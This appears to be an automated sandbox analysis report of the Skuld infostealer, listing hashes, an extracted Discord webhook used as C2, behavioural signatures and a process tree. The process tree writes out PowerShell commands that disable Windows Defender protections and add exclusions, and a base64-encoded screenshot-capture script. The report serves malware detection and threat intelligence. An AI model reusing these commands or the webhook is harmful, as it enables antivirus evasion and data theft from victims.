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Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30/06/2024, 08:53

General

  • Target

    skuld.exe

  • Size

    14.2MB

  • MD5

    daae4b834babdba02134d4732efd453e

  • SHA1

    c4c11e5773d72abecf88a62b13eac7f56083814b

  • SHA256

    d64d84ae15ea5dfa27b3c5f52750c98ebe2c7dd84db5fb4c4b1b2ae6e691961d

  • SHA512

    71187ae5ad27ee02f9fcd4cff9d716a152ce3bc73f9d42fc3e46ee555868e20a9cb0337e408ea5ffa59fbcd01196ce85f953c606022bb46187ec25d616bb942c

  • SSDEEP

    196608:aWJafoL/tUoTX4ZcbX1yfvjS6tLb6qD6rhZyUvXCKxbdfw:aWsfm/JbX1WjS6F6rhcU6KxZo

Malware Config

Extracted

Family

skuld

C2

https://ptb.discord.com/api/webhooks/1256850408366805072/x2jhBqkG5nRjLNf7Yy2ji8FT3b3A6xGu7AHz2QklzVo2SpmpCJ5IJJH53vIuMneMeSAl

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4460
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:3196
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3448
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3236
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3976
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:1808
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:4344
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:912
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:464
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:836
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:4052
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4240
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:1408
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:4092
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\exa1fkzi\exa1fkzi.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2076
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES65DE.tmp" "c:\Users\Admin\AppData\Local\Temp\exa1fkzi\CSC39B173E5B05A44528A9E94E92A4AE79B.TMP"
                4⤵
                  PID:2388

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            1a9fa92a4f2e2ec9e244d43a6a4f8fb9

            SHA1

            9910190edfaccece1dfcc1d92e357772f5dae8f7

            SHA256

            0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

            SHA512

            5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            9deb31d63c251368f1dcf297650b2997

            SHA1

            02a6835b82971ae7dba9d97e528412fac5247714

            SHA256

            9c598fb1420e5646126e8f7a42a3ea94b1050017e9cb67bbe6429f08c1bc2893

            SHA512

            0d6c8958a051b75f0d0a53e336954e102e642ad79a96f39fb1ed6643d77f9b54725b27eef460e33c89ff1d6136155cb6d873c25f9ae3dfc4a9d3a9346816477a

          • C:\Users\Admin\AppData\Local\Temp\D8IVzwo699\Display (1).png

            Filesize

            400KB

            MD5

            cbff4261404f8e5fab45fbaca6959c77

            SHA1

            4f10c976a332adc6f2ae9f0a31dadb24796ad2e3

            SHA256

            240b2d8c7cc0217d4d36d1de8b6464abda3ef5dd17417b1048286e88dd54c08d

            SHA512

            dd6e4f469cb401c7431b76cc3893ef2c8402d3d1557e3c7503e88d93fc1d403b5ab4601d118ba7825f9de65ae7161c4e3bdd98b8c64a2a06e0ffd9a7809ea8a9

          • C:\Users\Admin\AppData\Local\Temp\RES65DE.tmp

            Filesize

            1KB

            MD5

            ea37ac3d158307340c32d6dec25d3f9f

            SHA1

            fe1c2edb7cd85892c1a3663ebf9df9dee0399a7f

            SHA256

            e2cc95264ccddf596b8385a58b96ec902797962885b6c3dfc825a381033ec7fa

            SHA512

            08a3b25b406a109d4f7fd18b477024fbaff495cb7a998f238e716c965cc7f4ded85fd475033676ba8c7648ba503edab70baef63845742502ade3559e9d60ebe3

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yq3r44pb.yra.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\exa1fkzi\exa1fkzi.dll

            Filesize

            4KB

            MD5

            25ef8c8da10361c897af041e02a16749

            SHA1

            ed7565a4fa41052376b9df09cdb13c410dc8263f

            SHA256

            7ebc20346f574fdec5705007bc915042953688d9b9cf31f97f6ab03258c9b2a7

            SHA512

            d941b3e0ba4fec4e4454b54a1e72438460a58952bc08be9de5b5d31d519766e572d3d7ec3e968cf376dca6d47519218ec2d4ab3fc5f3c3d17b5b41a3872c8996

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            14.2MB

            MD5

            daae4b834babdba02134d4732efd453e

            SHA1

            c4c11e5773d72abecf88a62b13eac7f56083814b

            SHA256

            d64d84ae15ea5dfa27b3c5f52750c98ebe2c7dd84db5fb4c4b1b2ae6e691961d

            SHA512

            71187ae5ad27ee02f9fcd4cff9d716a152ce3bc73f9d42fc3e46ee555868e20a9cb0337e408ea5ffa59fbcd01196ce85f953c606022bb46187ec25d616bb942c

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\exa1fkzi\CSC39B173E5B05A44528A9E94E92A4AE79B.TMP

            Filesize

            652B

            MD5

            6d10bbb083682d573b9f755179bf2786

            SHA1

            b67128fc98780a179c92eaba66f656d6fe109d86

            SHA256

            0c150547d1a70bfa5649882e68e1a563b1762bdfab92fd6d7573020dd0e2dd89

            SHA512

            ce23c980b8552ca5f3d9ec997401180ebbd8fe49311c6be2ac9dc760c5fe8c56c840b854f60bacc4f64d805553c6dc8a652bf7ffdb5f7c170cab723f7437c861

          • \??\c:\Users\Admin\AppData\Local\Temp\exa1fkzi\exa1fkzi.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\exa1fkzi\exa1fkzi.cmdline

            Filesize

            607B

            MD5

            6d5ab6b958726f19f10632ad92d0719b

            SHA1

            d9f1a54a014283cb4fa84d4ac5b45a7eb2c4765d

            SHA256

            afd6812ff9015c750b0455d2e2a4dffbb082b9127c31addd95ee519d84928890

            SHA512

            0ff536c65b27953e89fe88e830b43d645c914595e228e4e735fe5a34a98501e58b36c066d837c8714a326970df234e13e22bc650b101a7ef48586f4136515f81

          • memory/3976-8-0x000001D1E6E30000-0x000001D1E6E52000-memory.dmp

            Filesize

            136KB

          • memory/4092-63-0x000002AA6F8C0000-0x000002AA6F8C8000-memory.dmp

            Filesize

            32KB

          • memory/4092-67-0x000002AA6FC10000-0x000002AA6FDC3000-memory.dmp

            Filesize

            1.7MB